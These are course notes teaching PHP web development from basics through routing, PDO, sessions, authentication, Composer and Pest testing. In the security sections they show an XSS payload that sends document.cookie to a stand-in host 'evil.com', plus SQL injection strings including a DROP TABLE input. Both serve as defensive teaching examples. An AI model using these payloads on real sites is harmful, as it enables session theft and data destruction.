# PHP Guide

## Complete Course Notes

*From First Tag to Composer*

Based on Laracasts: PHP for Beginners (2023)

Benjamin Shaw

CHAPTER 1

# The Fundamentals

PHP is a server-side scripting language embedded in HTML. It runs BEFORE the page reaches the browser — the browser only ever sees the HTML output. Your .php files live on a web server that executes the PHP and sends the result.

## PHP TAGS & FIRST SCRIPT

Every PHP file opens with <?php. The closing ?> is optional (and skipped in pure-PHP files to avoid trailing-whitespace bugs).

```php
<?php

echo 'Hello, World!';
```

## VARIABLES & CONCATENATION

Variables start with $. PHP is dynamically typed — you don't declare a type. Strings concatenate with a dot (.), not a plus sign.

```php
<?php

$name = 'Benjamin';
$age = 23;

echo 'Hello, ' . $name . '. You are ' . $age . ' years old.';

// Double-quoted strings interpolate variables directly
echo "Hello, {$name}. You are {$age} years old.";
```

- **Single quotes** — literal — no variable interpolation, slightly faster
- **Double quotes** — interpolate — $name expands to the value
- **. (dot)** — string concatenation operator

## CONDITIONALS & BOOLEANS

PHP has standard if/elseif/else. Booleans are true/false. Many values are "truthy" or "falsy" — empty string, 0, null, empty array are all falsy.

```php
<?php
```

```php
$age = 20;

if ($age >= 18) {
    echo 'Adult.';
} elseif ($age >= 13) {
    echo 'Teenager.';
} else {
    echo 'Child.';
}

// Comparison operators
$a == $b;   // loose equality (type coercion)
$a === $b;  // strict equality (type + value)
$a != $b;   // not equal
$a !== $b;  // strict not equal
```

*(Note: Always prefer === over ==. Loose equality has surprising coercion rules (e.g. "0" == false is true).)*

## ARRAYS

Two flavours: indexed (numeric keys, 0-based) and associative (string keys). Same syntax, just different keys.

```php
<?php

// Indexed array
$fruits = ['apple', 'banana', 'cherry'];
echo $fruits[0];  // apple

// Associative array
$user = [
    'name' => 'Ben',
    'email' => 'ben@example.com',
    'age' => 23,
];
echo $user['email'];  // ben@example.com

// Append to indexed array
$fruits[] = 'date';

// Loop both ways
foreach ($fruits as $fruit) {
    echo $fruit;
}

foreach ($user as $key => $value) {
    echo "{$key}: {$value}";
}
```

## FUNCTIONS

Functions use the function keyword. Parameters are typed optionally, return types are optional, default values are supported.

```php
<?php

function greet(string $name, string $greeting = 'Hello'): string
{
    return "{$greeting}, {$name}!";
}

echo greet('Ben');                    // Hello, Ben!
echo greet('Ben', 'Welcome back');    // Welcome back, Ben!

// Built-in "filter" functions (array utilities)
$numbers = [1, 2, 3, 4, 5];

$doubled = array_map(fn($n) => $n * 2, $numbers);
$evens   = array_filter($numbers, fn($n) => $n % 2 === 0);
$sum     = array_sum($numbers);
```

## LAMBDA (ANONYMOUS) FUNCTIONS

Anonymous functions are values you can pass around. PHP has two syntaxes: the verbose "function" form and the terse arrow function (fn).

```php
<?php

// Verbose form — needs 'use' to capture outer variables
$multiplier = 3;
$triple = function ($n) use ($multiplier) {
    return $n * $multiplier;
};

// Arrow function — auto-captures outer scope, single expression only
$triple = fn($n) => $n * $multiplier;

echo $triple(5);  // 15
```

## SEPARATING PHP LOGIC FROM HTML TEMPLATES

The fundamental principle of clean server-side code: do all your computation FIRST in pure PHP, then render HTML at the end. Don't weave logic through the template.

```php
<?php
```

```php
// Logic up top — no HTML here
$notes = [
    ['title' => 'Shopping list', 'body' => 'Eggs, milk, bread'],
    ['title' => 'Book ideas',    'body' => 'Refactoring, CI/CD'],
];

// Pure template below — no computation, just display
?>

<!DOCTYPE html>
<html>
<body>
    <h1>My Notes</h1>
    <ul>
        <?php foreach ($notes as $note): ?>
            <li>
                <strong><?= $note['title'] ?></strong>:
                <?= $note['body'] ?>
            </li>
        <?php endforeach; ?>
    </ul>
</body>
</html>
```

*(Note: <?= $value ?> is shorthand for <?php echo $value; ?>. Use the alternative syntax (foreach: / endforeach) inside HTML — it's cleaner than curly braces.)*

CHAPTER 2

# Dynamic Web Applications

This chapter moves from static PHP scripts to real web applications: multiple pages, a database, and a custom router. Every concept here gets refactored into something more sophisticated later in the course — but you need the raw version first to understand WHY the refactor exists.

## THE $_SERVER SUPERGLOBAL

$_SERVER is an associative array PHP automatically fills with info about the current request. Used constantly for routing, redirects, and "is this the current page?" checks.

```php
<?php

$_SERVER['REQUEST_URI'];     // /notes?id=5
$_SERVER['REQUEST_METHOD'];  // GET, POST, PUT, DELETE
$_SERVER['HTTP_REFERER'];    // The previous page URL
$_SERVER['HTTP_HOST'];       // localhost:8000

// "Is this link the current page?" for nav highlighting
function isCurrent($path): bool
{
    return parse_url($_SERVER['REQUEST_URI'])['path'] === $path;
}
```

## PARTIALS — REDUCING DUPLICATION

A partial is a reusable chunk of HTML (header, footer, nav) extracted into its own file and included wherever needed.

```php
<?php require 'partials/head.php'; ?>
<?php require 'partials/nav.php'; ?>

<main>
    <h1>About</h1>
    <p>This is the about page.</p>
</main>

<?php require 'partials/footer.php'; ?>
```

## BUILDING A CUSTOM ROUTER

Without a router, each URL needs its own .php file. A router inspects the URI and decides which file (controller) to load. The simplest possible version:

```php
<?php
// index.php — ALL requests come here via web server rewrite rules

$routes = [
    '/'       => 'controllers/home.php',
    '/about'  => 'controllers/about.php',
    '/notes'  => 'controllers/notes/index.php',
];

$uri = parse_url($_SERVER['REQUEST_URI'])['path'];

if (array_key_exists($uri, $routes)) {
    require $routes[$uri];
} else {
    http_response_code(404);
    require 'controllers/404.php';
}
```

## MYSQL + PDO

PDO (PHP Data Objects) is PHP's built-in database abstraction. It supports many database engines with the same API and — most importantly — supports prepared statements out of the box.

```php
<?php

$dsn = 'mysql:host=localhost;port=3306;dbname=notes;charset=utf8mb4';
$pdo = new PDO($dsn, 'root', 'password', [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

// Raw query (DANGEROUS — only when no user input involved)
$results = $pdo->query('SELECT * FROM notes')->fetchAll();

// Prepared statement (SAFE — for any query with input)
$stmt = $pdo->prepare('SELECT * FROM notes WHERE user_id = :id');
$stmt->execute(['id' => $userId]);
$notes = $stmt->fetchAll();
```

## EXTRACTING A DATABASE CLASS

Repeating new PDO(...) everywhere is painful. Wrap it in a class with a convenient query method.

```php
<?php

class Database
{
    public PDO $connection;

    public function __construct(array $config, string $username = 'root', string $password
= '')
    {
        $dsn = 'mysql:' . http_build_query($config, '', ';');

        $this->connection = new PDO($dsn, $username, $password, [
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        ]);
    }

    public function query(string $query, array $params = []): PDOStatement
    {
        $statement = $this->connection->prepare($query);
        $statement->execute($params);
        return $statement;
    }
}

// Usage
$db = new Database(['host' => 'localhost', 'dbname' => 'notes']);
$notes = $db->query('SELECT * FROM notes WHERE user_id = :id', ['id' => 1])->fetchAll();
```

## SQL INJECTION — WHY PREPARED STATEMENTS MATTER

Never concatenate user input into a query string. Attackers can inject SQL that drops tables, leaks passwords, or impersonates users.

```php
<?php
// DANGEROUS — string concatenation
$email = $_POST['email'];
$query = "SELECT * FROM users WHERE email = '{$email}'";
// Attacker submits: ' OR '1'='1 — returns ALL users.
// Or worse: '; DROP TABLE users; --

// SAFE — prepared statement
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email']]);
// The driver escapes the value — it can NEVER be interpreted as SQL.
```

CHAPTER 3

# Notes Mini-Project

A hands-on chapter where the fundamentals come together. You build CRUD (Create, Read, Update, Delete) for notes — which becomes the scaffolding for every later refactor.

## AUTHORIZATION WITH HTTP STATUS CODES

When a user tries to access a note they don't own, don't just hide it — return the right HTTP status. "Magic numbers" (like 403, 404) should be replaced with named constants or an abort() helper.

```php
<?php

function abort(int $code = 404): never
{
    http_response_code($code);
    require base_path("views/{$code}.php");
    die();
}

function authorize(bool $condition, int $status = 403): void
{
    if (! $condition) {
        abort($status);
    }
}

// Usage
$note = $db->query('SELECT * FROM notes WHERE id = :id', ['id' => $id])->fetch();

if (! $note) {
    abort(404);
}

authorize($note['user_id'] === $currentUserId);  // 403 if not owner
```

- **: never** — PHP 8.1+ return type meaning "this function never returns" (it exits, throws, or dies). Signals intent to the type checker.
- **404 vs 403** — 404 = "resource does not exist". 403 = "it exists but you're not allowed".

## ALWAYS ESCAPE OUTPUT

Any data that originated from a user — even data you retrieved from your own database — must be escaped before rendering as HTML. Otherwise attackers can inject <script> tags and steal sessions (XSS).

```php
<?php
// DANGEROUS
<p><?= $note['body'] ?></p>
// If body is: <script>fetch('evil.com?c='+document.cookie)</script>
// → the attacker has your session cookie.

// SAFE
<p><?= htmlspecialchars($note['body']) ?></p>
// Renders the literal text <script>... without executing it.

// Wrap it in a helper for ergonomics
function e(string $value): string {
    return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}

<p><?= e($note['body']) ?></p>
```

## TWO-LAYER FORM VALIDATION

Always validate on BOTH sides. The browser-side check is for UX (instant feedback). The server-side check is for security (anyone can bypass the browser).

```
<!-- Browser layer — HTML5 attributes -->
<input type="email" name="email" required maxlength="255">
<input type="password" name="password" required minlength="7">
```

```php
<?php
// Server layer — NEVER trust the browser
$errors = [];

if (! filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
    $errors['email'] = 'Please provide a valid email.';
}

if (strlen($_POST['password']) < 7) {
    $errors['password'] = 'Password must be at least 7 characters.';
}
```

## EXTRACTING A VALIDATOR CLASS

As validation grows, inline if-checks get messy. Extract them into a Validator class with static methods. This is the beginning of reusable validation logic.

```php
<?php
```

```php
namespace Core;

class Validator
{
    public static function string(mixed $value, int $min = 1, int $max = INF): bool
    {
        $value = trim($value ?? '');
        $length = strlen($value);
        return $length >= $min && $length <= $max;
    }

    public static function email(mixed $value): bool
    {
        return filter_var($value, FILTER_VALIDATE_EMAIL) !== false;
    }
}

// Usage
if (! Validator::email($email)) {
    $errors['email'] = 'Invalid email.';
}
if (! Validator::string($password, 7, 255)) {
    $errors['password'] = 'Password must be 7-255 characters.';
}
```

## PROGRAMMING IS REWRITING

A philosophy thread that runs through the whole course: your first pass doesn't need to be clean. Write the ugly version, get it working, THEN look for patterns to extract. Every refactor in the rest of the course follows this — write inline, notice duplication, extract.

CHAPTER 4

# Project Organization

This chapter takes the working-but-messy notes app and turns it into something maintainable: resource-based naming, autoloading, namespaces, a proper router, and a service container.

## RESOURCEFUL NAMING

REST convention — every resource (like "notes") has seven canonical actions, each mapped to a file. Stop naming files create-note.php, delete-note.php, edit-note-form.php. Use this pattern instead:

| Verb | URL | File |
|---|---|---|
| GET | /notes | controllers/notes/index.php |
| GET | /notes/create | controllers/notes/create.php |
| POST | /notes | controllers/notes/store.php |
| GET | /note?id=1 | controllers/notes/show.php |
| GET | /note/edit?id=1 | controllers/notes/edit.php |
| PATCH | /note | controllers/notes/update.php |
| DELETE | /note | controllers/notes/destroy.php |

## AUTOLOADING

Instead of require'ing every class file manually, register an autoloader. When PHP encounters a class name it doesn't know, it calls your function with the class name — and your function requires the right file.

```php
<?php

spl_autoload_register(function ($class) {
    // Convert namespace separators to directory separators
    $class = str_replace('\\', DIRECTORY_SEPARATOR, $class);

    require base_path("{$class}.php");
});

// Now: when you type "new Core\Database(...)" PHP calls the autoloader with
// "Core\Database" — it requires Core/Database.php automatically.
```

> *(Note: This is exactly what Composer replaces in Chapter 7. Writing it by hand first is what makes Composer make sense later.)*

## NAMESPACING

Namespaces prevent class-name collisions. Two libraries can both have a "Validator" class as long as they're in different namespaces. The namespace becomes part of the fully-qualified class name.

```php
<?php

namespace Core;

class Validator
{
    public static function email($value): bool { /* ... */ }
}
```

```php
<?php
// In a file that uses it
namespace Http\Forms;

use Core\Validator;  // import the class

class LoginForm
{
    public function __construct()
    {
        Validator::email('test@example.com');
        // OR, without 'use':
        \Core\Validator::email('test@example.com');
    }
}
```

## FORM METHOD SPOOFING

HTML forms only support GET and POST natively. To send PATCH or DELETE, add a hidden input called _method — your router checks for it and overrides the actual method.

```
<form method="POST" action="/note">
    <input type="hidden" name="_method" value="DELETE">
    <input type="hidden" name="id" value="<?= $note['id'] ?>">
    <button type="submit">Delete</button>
</form>
```

```php
<?php
// In public/index.php
$method = $_POST['_method'] ?? $_SERVER['REQUEST_METHOD'];
```

```
$router->route($uri, $method);
```

## THE SERVICE CONTAINER

A service container is a registry that knows how to build objects. Instead of "new Database($config)" scattered everywhere, you bind the recipe once and resolve it when needed. This is the single biggest architectural idea in modern frameworks.

```php
<?php

namespace Core;

class Container
{
    protected array $bindings = [];

    public function bind(string $key, Closure $resolver): void
    {
        $this->bindings[$key] = $resolver;
    }

    public function resolve(string $key): mixed
    {
        if (! array_key_exists($key, $this->bindings)) {
            throw new Exception("No binding for {$key}");
        }

        return call_user_func($this->bindings[$key]);
    }
}

// Wire it up once in bootstrap.php
$container = new Container;

$container->bind(Database::class, function () {
    $config = require base_path('config.php');
    return new Database($config['database']);
});

App::setContainer($container);

// Use it anywhere
$db = App::resolve(Database::class);
```

*(Note: Laravel's service container is this same idea, just vastly more powerful (auto-resolution, singletons, contextual bindings). But the core concept — "one place that knows how to build things" — is exactly what you just built.)*

CHAPTER 5

# Sessions and Authentication

HTTP is stateless — each request is completely independent. Sessions are the mechanism that lets the server remember who the user is across requests.

## SESSIONS 101

Call session_start() at the top of every request. PHP sets a cookie (PHPSESSID) in the browser and keeps a matching file on the server. $_SESSION is an associative array that persists between requests for that user.

```php
<?php

session_start();

// First request — write
$_SESSION['user'] = ['id' => 1, 'email' => 'ben@example.com'];

// Second request (same browser) — read
echo $_SESSION['user']['email'];  // ben@example.com

// Logout
session_destroy();
```

## PASSWORD HASHING WITH BCRYPT

NEVER store passwords as plain text. Use password_hash() — PHP's built-in Bcrypt wrapper. It automatically salts and produces a one-way hash.

```php
<?php
// Registration — hash before storing
$hashed = password_hash($_POST['password'], PASSWORD_BCRYPT);

$db->query('INSERT INTO users (email, password) VALUES (:e, :p)', [
    'e' => $_POST['email'],
    'p' => $hashed,
]);

// Login — verify against stored hash
$user = $db->query('SELECT * FROM users WHERE email = :e', [
    'e' => $_POST['email'],
])->fetch();

if ($user && password_verify($_POST['password'], $user['password'])) {
    $_SESSION['user'] = ['id' => $user['id'], 'email' => $user['email']];
}
```

```

```

- **password_hash()** — Creates a salted hash. Same password hashed twice produces DIFFERENT strings (that's the salt). Never try to "match" hashes directly.
- **password_verify()** — Compares a plaintext password against a hash. Handles timing-attack-safe comparison internally.

## MIDDLEWARE

Middleware is code that runs BEFORE a controller — used to check "should this request even reach the controller?" Classic use cases: "must be logged in" (auth) and "must NOT be logged in, like on /login" (guest).

```php
<?php

namespace Core\Middleware;

class Auth
{
    public function handle(): void
    {
        if (! $_SESSION['user'] ?? false) {
            header('location: /login');
            exit();
        }
    }
}

class Guest
{
    public function handle(): void
    {
        if ($_SESSION['user'] ?? false) {
            header('location: /');
            exit();
        }
    }
}
```

```php
<?php
// In routes.php — attach middleware to routes
$router->get('/notes', 'controllers/notes/index.php')->only('auth');
$router->get('/login', 'controllers/sessions/create.php')->only('guest');

// The router runs middleware before dispatching
```

CHAPTER 6

# Refactoring Techniques

This is the polish chapter. Every piece here exists because the naive version had a real pain point, and the refactor eliminates it.

## THE FORM VALIDATION OBJECT

Instead of scattering validation across controllers, extract a dedicated form class. Validation runs on construction, errors accumulate, exceptions signal failure.

```
<?php

namespace Http\Forms;

use Core\ValidationException;
use Core\Validator;

class LoginForm
{
    protected array $errors = [];

    public function __construct(public array $attributes)
    {
        if (! Validator::email($attributes['email'])) {
            $this->errors['email'] = 'Please provide a valid email.';
        }
        if (! Validator::string($attributes['password'], 7, 255)) {
            $this->errors['password'] = 'Password must be 7+ characters.';
        }
    }

    public static function validate($attributes): static
    {
        $instance = new static($attributes);

        return $instance->failed() ? $instance->throw() : $instance;
    }

    public function failed(): bool
    {
        return count($this->errors) > 0;
    }

    public function throw(): void
    {
        ValidationException::throw($this->errors(), $this->attributes);
    }

    public function errors(): array
    {
```

```
        return $this->errors;
    }

    public function error(string $field, string $message): static
    {
        $this->errors[$field] = $message;
        return $this;  // chainable
    }
}
```

## THE AUTHENTICATOR CLASS

Pull "attempt to log a user in with email + password" out of the controller into its own class. The controller shouldn't know about Bcrypt.

```
<?php

namespace Core;

class Authenticator
{
    public function attempt(string $email, string $password): bool
    {
        $user = App::resolve(Database::class)
            ->query('SELECT * FROM users WHERE email = :email', [
                'email' => $email,
            ])->find();

        if ($user && password_verify($password, $user['password'])) {
            $this->login(['email' => $email]);
            return true;
        }
        return false;
    }

    public function login(array $user): void
    {
        $_SESSION['user'] = ['email' => $user['email']];
        session_regenerate_id(true);  // prevents session fixation
    }

    public function logout(): void
    {
        Session::destroy();
    }
}
```

## THE PRG PATTERN + SESSION FLASHING

POST → Redirect → GET. Never render HTML in response to a POST. Use `Session::flash()` to carry errors across the redirect.

```
// REQUEST 1 — POST /sessions (login fails)
Session::flash('errors', $errors);
Session::flash('old', ['email' => $_POST['email']]);
redirect('/login');

// REQUEST 2 — GET /login
<?= old('email') ?>                  // repopulates from flash
<?= Session::get('errors')['email'] ?? '' ?>

// End of REQUEST 2 — flash auto-expires
Session::unflash();
```

*(Note: See the dedicated Session class in the previous notes for the full get/put/flash/unflash implementation.)*

## CENTRALIZED EXCEPTION HANDLING

Catch ValidationException ONCE in public/index.php — every controller that throws it gets the same response without duplicating code.

```
<?php
// public/index.php

try {
    $router->route($uri, $method);
} catch (\Core\ValidationException $e) {
    \Core\Session::flash('errors', $e->errors);
    \Core\Session::flash('old', $e->old);
    redirect($_SERVER['HTTP_REFERER']);  // redirect back to wherever they came from
}

\Core\Session::unflash();
```

## THE CONTROLLER BECOMES A SENTENCE

With all these pieces in place, the login controller reads like prose — three verbs, no boilerplate.

```
<?php

use Http\Forms\LoginForm;
use Core\Authenticator;
```

```
$form = LoginForm::validate([
    'email' => $email = $_POST['email'],
    'password' => $password = $_POST['password'],
]);

if (! (new Authenticator)->attempt($email, $password)) {
    $form->error('email', 'No matching account.')->throw();
}

redirect('/');
```

CHAPTER 7

# Meet Composer

Composer is PHP's dependency manager AND autoloader. It replaces your hand-rolled spl_autoload_register, and it lets you pull in thousands of third-party packages with a single command.

## SETUP

```
# Install Composer globally (once per machine)
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer

# Initialize a new project
composer init

# Install dependencies listed in composer.json
composer install

# Regenerate the autoloader after changing autoload mappings
composer dump-autoload
```

## COMPOSER.JSON

```
{
    "name": "benshaw/notes",
    "authors": [
        { "name": "Benjamin Shaw", "email": "benshawrob@gmail.com" }
    ],
    "require": {
        "illuminate/collections": "^10.0"
    },
    "require-dev": {
        "pestphp/pest": "^2.0"
    },
    "autoload": {
        "psr-4": {
            "Core\\": "Core/",
            "Http\\": "Http/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    }
```

```
}
```

*(Note: Core\\ is a single namespace separator — the double backslash is JSON string escaping.)*

## PSR-4 AUTOLOADING

PSR-4 is a community specification: if you map a namespace prefix to a directory, Composer will find the class file automatically.

| Class reference | Composer loads |
|---|---|
| `Core\Session` | `Core/Session.php` |
| `Core\Middleware\Auth` | `Core/Middleware/Auth.php` |
| `Http\Forms\LoginForm` | `Http/Forms/LoginForm.php` |
| `Tests\Feature\LoginTest` | `tests/Feature/LoginTest.php` |

## REPLACING THE HAND-ROLLED AUTOLOADER

```php
<?php
// public/index.php — BEFORE Composer
spl_autoload_register(function ($class) {
    $class = str_replace('\\', DIRECTORY_SEPARATOR, $class);
    require base_path("{$class}.php");
});
```

```php
<?php
// public/index.php — AFTER Composer
require base_path('vendor/autoload.php');
```

*(Note: One line replaces the whole block. Your classes now autoload the exact same way — but so does every third-party package in /vendor.)*

## .GITIGNORE

/vendor is ALWAYS git-ignored. It's generated from composer.json + composer.lock. Committing it bloats the repo and causes merge conflicts. Anyone cloning the repo just runs composer install.

```
/vendor
```

## INSTALLING REAL PACKAGES

```
# Collections — Laravel's fluent array/object wrapper
composer require illuminate/collections

# Pest — a modern testing framework
composer require pestphp/pest --dev --with-all-dependencies
```

```php
<?php
// Collections example — chainable, expressive array operations
use Illuminate\Support\Collection;

$notes = collect($db->query('SELECT * FROM notes')->fetchAll());

$titles = $notes
    ->filter(fn($n) => $n['user_id'] === 1)
    ->sortBy('created_at')
    ->pluck('title')
    ->take(5)
    ->all();
```

CHAPTER 8

# Testing

Testing is writing code that verifies your code works. It's your safety net — it lets you refactor fearlessly because the tests catch regressions.

## UNIT VS FEATURE TESTS

- **Unit test** — Tests a single class/function in isolation. Fast, focused. Example: "does Validator::email() return false for an invalid email?"
- **Feature test** — Tests a full workflow through the application — usually simulating a real HTTP request. Example: "does POST /sessions with valid credentials log the user in?"

## PEST VS PHPUNIT

PHPUnit is the classic PHP testing framework — class-based, verbose. Pest is a newer wrapper built on top of PHPUnit with a cleaner, function-based syntax. Both run the same tests, same way.

```php
<?php
// PHPUnit style
use PHPUnit\Framework\TestCase;

class ValidatorTest extends TestCase
{
    public function test_email_returns_false_for_invalid(): void
    {
        $this->assertFalse(Validator::email('not-an-email'));
    }
}
```

```php
<?php
// Pest style — same thing, less boilerplate
it('returns false for invalid emails', function () {
    expect(Validator::email('not-an-email'))->toBeFalse();
});
```

## ANATOMY OF A TEST

Every test follows the same three-phase pattern, sometimes called AAA:

- **Arrange** — Set up the state you need — create objects, seed data, put the system in the condition you want to test.

- **Act** — Do the thing. Call the method, hit the endpoint, trigger the event.
- **Assert** — Check the outcome matches what you expected.

```php
<?php

it('validates a login form with correct credentials', function () {
    // Arrange
    $attributes = [
        'email' => 'test@example.com',
        'password' => 'correct-password-123',
    ];

    // Act
    $form = LoginForm::validate($attributes);

    // Assert
    expect($form->failed())->toBeFalse();
});
```

## RUNNING TESTS

```
# Run all tests
./vendor/bin/pest

# Run a specific file
./vendor/bin/pest tests/Unit/ValidatorTest.php

# Run only tests matching a pattern
./vendor/bin/pest --filter=email
```

## SHOULD YOU WRITE TESTS FIRST?

TDD (Test-Driven Development) means writing the test BEFORE the implementation. Pros: forces you to think about the API first, prevents over-engineering. Cons: slower early on, frustrating when learning a new framework. The honest answer is test-first where requirements are clear, test-after when you're exploring.

CHAPTER 9

# Wrapping Up — Hello Laravel

Every pattern you built by hand in this course exists in Laravel — just with more features, better ergonomics, and battle-tested edge-case handling. The point of building them yourself first is so Laravel never feels like magic.

## YOUR HAND-ROLLED CLASSES → LARAVEL EQUIVALENTS

| You built | Laravel calls it | Notes |
|---|---|---|
| `Core\Router` | `Illuminate\Routing\Router` | Route::get() facade wraps it |
| `Core\Database` | `Illuminate\Database\Connection` | Used via Eloquent models |
| `Core\Container` | `Illuminate\Container\Container` | Full auto-resolution |
| `Core\Session` | `Illuminate\Session\Store` | Driver-based (file, redis, db) |
| `Core\Validator` | `Illuminate\Validation\Validator` | Rule-string API, 50+ rules |
| `Core\Authenticator` | `Illuminate\Auth\AuthManager` | Multi-guard support |
| `Middleware` | `Middleware` | Same concept, enforced pipeline |
| `functions.php` | `helpers.php + facades` | Auto-loaded globally |
| `Http\Forms\LoginForm` | `FormRequest` | Auto-resolved by type-hint |
| `Core\ValidationException` | `Illuminate\Validation\ValidationException` | Handled by exception handler |

## WHAT LARAVEL GIVES YOU ON TOP

- **Eloquent ORM** — Models with relationships — $user->notes instead of raw SQL.
- **Artisan CLI** — Code generators, migrations, queue workers, scheduled tasks.
- **Blade templates** — Like PHP templates, but with @if, @foreach, layouts, and components.
- **Queues** — Dispatch jobs to run asynchronously — emails, image processing, etc.
- **Events & Listeners** — Decouple side effects from core logic.
- **Broadcasting** — Real-time WebSocket integration.
- **Testing helpers** — actingAs($user), assertDatabaseHas(), mock HTTP clients.

## A LARAVEL LOGIN CONTROLLER

Compare this to your hand-rolled version. Same logic, one-third the lines — because Laravel supplies the form request, the auth facade, the redirect helper, and the session/flash handling out of the box.

```php
<?php

namespace App\Http\Controllers;

use App\Http\Requests\LoginRequest;
use Illuminate\Support\Facades\Auth;

class SessionController extends Controller
{
    public function store(LoginRequest $request)
    {
        if (! Auth::attempt($request->validated())) {
            return back()->withErrors([
                'email' => 'No matching account.',
            ])->onlyInput('email');
        }

        $request->session()->regenerate();

        return redirect()->intended('/');
    }
}
```

## FINAL TAKEAWAY

You now have two things most "Laravel developers" never acquire: a working understanding of WHY each abstraction exists, and the ability to debug framework internals when things go wrong. The jump from this course to production Laravel is small — you already built the framework. You just get to stop maintaining it.

# APPENDIX — QUICK REFERENCE

## ESSENTIAL SUPERGLOBALS

- **$_GET** — URL query parameters — visible in the address bar.
- **$_POST** — HTML form body — hidden from the URL.
- **$_REQUEST** — Combination of $_GET, $_POST, $_COOKIE. Usually avoid — be explicit.
- **$_FILES** — File upload metadata from multipart forms.
- **$_SESSION** — Server-side state keyed to the user's session cookie.
- **$_COOKIE** — Browser-stored key-value pairs sent back on every request.
- **$_SERVER** — Request metadata — URL, method, headers, referer, IP.
- **$_ENV** — Environment variables (from .env files or shell).

## HELPER FUNCTION CHEAT SHEET

```php
<?php
// The global helpers you built across the course

base_path('config.php');           // absolute path relative to project root
view('notes/index.view.php', [...]); // render a view with data
abort(404);                         // HTTP status + terminate
authorize($condition);              // abort 403 if condition is false
dd($value);                         // dump and die
redirect('/path');                  // 302 redirect
old('email', $default);             // repopulate old form input
e($untrusted);                      // htmlspecialchars shorthand
```

## HTTP STATUS CODES YOU'LL ACTUALLY USE

- **200 OK** — Everything worked.
- **302 Found** — Redirect.
- **403 Forbidden** — Authenticated, but not authorized.
- **404 Not Found** — Resource doesn't exist.
- **422 Unprocessable Entity** — Validation failed (Laravel default for form errors).
- **500 Internal Server Error** — Your code threw an unhandled exception.